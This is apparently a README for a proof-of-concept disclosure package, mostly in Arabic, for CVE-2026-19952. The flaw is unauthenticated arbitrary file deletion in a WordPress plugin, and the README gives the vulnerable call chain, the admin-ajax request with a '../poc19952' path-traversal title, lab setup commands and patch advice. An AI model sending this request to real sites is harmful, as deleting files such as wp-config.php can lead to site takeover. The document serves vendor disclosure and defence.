
حزمة إثبات المفهوم والإفصاح عن CVE-2026-19952، وهي ثغرة حذف ملفات عشوائي بدون مصادقة في إضافة Frontend Admin الخاصة بـ WordPress، مع خطوات إعادة الإنتاج المخبرية.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-19952
WordPress — Frontend Admin by DynamiApps 3.29.12 — DynamiApps
إن إضافة Frontend Admin by DynamiApps الخاصة بـ WordPress معرّضة لحذف ملفات عشوائية بسبب عدم كفاية التحقق من مسار الملف في الدالة move_folders في جميع الإصدارات حتى الإصدار 3.29.12 ضمناً. وهذا يتيح للمهاجمين غير المصادق عليهم حذف ملفات عشوائية على الخادم، مما قد يؤدي بسهولة إلى تنفيذ تعليمات برمجية عن بُعد عند حذف الملف المناسب (مثل wp-config.php). وهذا قابل للاستغلال دون مصادقة عندما يتم إعداد نموذج بظهور عام (who_can_see='all')، حيث يمكن الحصول على الـ nonce المطلوب علناً من النموذج المعروض.
| CVE | CVE-2026-19952 · CVE.org |
| CWE | CWE-22 |
| CVSS | High: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Product | WordPress — Frontend Admin by DynamiApps |
| Affected | جميع الإصدارات حتى 3.29.12 (ضمناً) |
| Patched | 3.29.13 وما بعده |
| Auth | لا شيء (انظر خريطة المصدر) |
| License | GNU Affero GPL v3.0 |
| Lab | 127.0.0.1 فقط · حزمة إفصاح للمورّد/العميل، وليست أداة فحص |
move_folders هي نقطة الوصول النهائية (sink)، مرتبطة بـ acf/pre_update_value/type=upload_files (gallery)، وليس upload_file. مسار HTTP هو admin-ajax.php action=frontend_admin/form_submit. وسم الدمج هو [post:title] من post_title المُرسَل.
POST/wp-admin/admin-ajax.phpGET /wp-content/poc19952/index.php expect POCWitness19952GET /fea-files-lab/ harvest hiddens and field keysPOST /wp-admin/admin-ajax.php action=frontend_admin/form_submit acff[post][title]=../poc19952 acff[post][files]=1check_submit_form nopriv + who_can_see=allcreate_record post_title _input=../poc19952ActionPost::run acf_update_value on upload_files fieldmove_folders get_dynamic_values([acf:post_title]) -> ../poc19952upload_dir = basedir/../poc19952 = wp-content/poc19952unlink wp-content/poc19952/index.phpGET /wp-content/poc19952/index.php no POCWitness19952[acf:post_title]قبل POST، يحتوي GET /wp-content/poc19952/index.php على POCWitness19952. بعد POST تختفي هذه السلسلة (404). نجاح JSON للنموذج وحده ليس دليلاً.
افعل هذا أولاً: حدّث Frontend Admin by DynamiApps إلى 3.29.13 أو أحدث (get_safe_upload_dir).
تحقق بعد الترقية
CVE-2026-19952-Abraxas-Labs.py مقابل البناء المُرقّع: يجب ألا يظهر الدليل المُعيَّن.إذا لم تستطع التحديث فوراً
استهدف فقط http://127.0.0.1:8088 (أو الـ loopback الذي ربطته). لا توجّه هذا السكربت إلى الإنترنت.
python3 CVE-2026-19952-Abraxas-Labs.py
النجاح هو الدليل المذكور أعلاه في جسم الاستجابة. HTML العام 200 ليس دليلاً.
حزمة loopback المستخدمة لإعادة الإنتاج. صور رسمية ما لم يبنِ Dockerfile في هذا المجلد من المصدر.
cd lab
docker compose up --force-recreate
اربط شجرة المنتج المعرّض بجانب Compose إذا كان ملف YAML يربط دليلاً محلياً (plugin zip / source tag من جدول الإصدارات). لا تنشر شيئاً باستثناء 127.0.0.1.
www.wordfence.com/threat-intel/vulnerabilities/id/55ec5101-6494-4180-9492-03863e839ad2?source=cve
دليل الإضافات: acf-frontend-form-element
متصفح Trac: plugins.trac.wordpress.org/acf-frontend-form-element
وسوم SVN: plugins.svn.wordpress.org/acf-frontend-form-element
Abraxas Labs: abraxaslabs.tech · github.com/abraxas · @abraxas_null
# CVE-2026-19952 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-19952`
- CWE: CWE-22
- published: 2026-09-01T05:17:09.747
## NVD description
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the move_folders function in all versions up to, and including, 3.29.12. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable without authentication when a form is configured with public visibility (who_can_see='all'), as the required nonce is publicly obtainable from the rendered form.
## MITRE description
error: <urlopen error [Errno 8] nodename nor servname provided, or not known>
## Affected
## References (JSON sources only)
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1014
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1044
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/fields/general/class-upload-file.php#L1047
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/shortcodes.php#L99
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/submit.php#L125
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.10/main/frontend/forms/classes/submit.php#L276
- https://plugins.trac.wordpress.org/browser/acf-frontend-form-element/tags/3.29.13/main/frontend/fields/general/class-upload-file.php#L1047
- https://www.wordfence.com/threat-intel/vulnerabilities/id/55ec5101-6494-4180-9492-03863e839ad2?source=cve
- https://github.com/advisories/GHSA-3rrx-59q7-9g4m
- https://nvd.nist.gov/vuln/detail/CVE-2026-19952
## GitHub advisory
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion...
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the move_folders function in all versions up to, and including, 3.29.12. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). This is exploitable without authentication when a form is configured with public visibility (who_can_see='all'), as the required nonce is publicly obtainable from the rendered form.
حزمة الإفصاح هذه مرخّصة بموجب GNU Affero General Public License v3.0. انظر LICENSE.
هذه الحزمة مخصّصة للمورّد، ومالك الموقع، والمختبرات المرخّصة. يتواصل السكربت مع 127.0.0.1. استخدامه ضد أنظمة لا تملكها غير مصرّح به من Abraxas Labs. لا يوجد أي ضمان.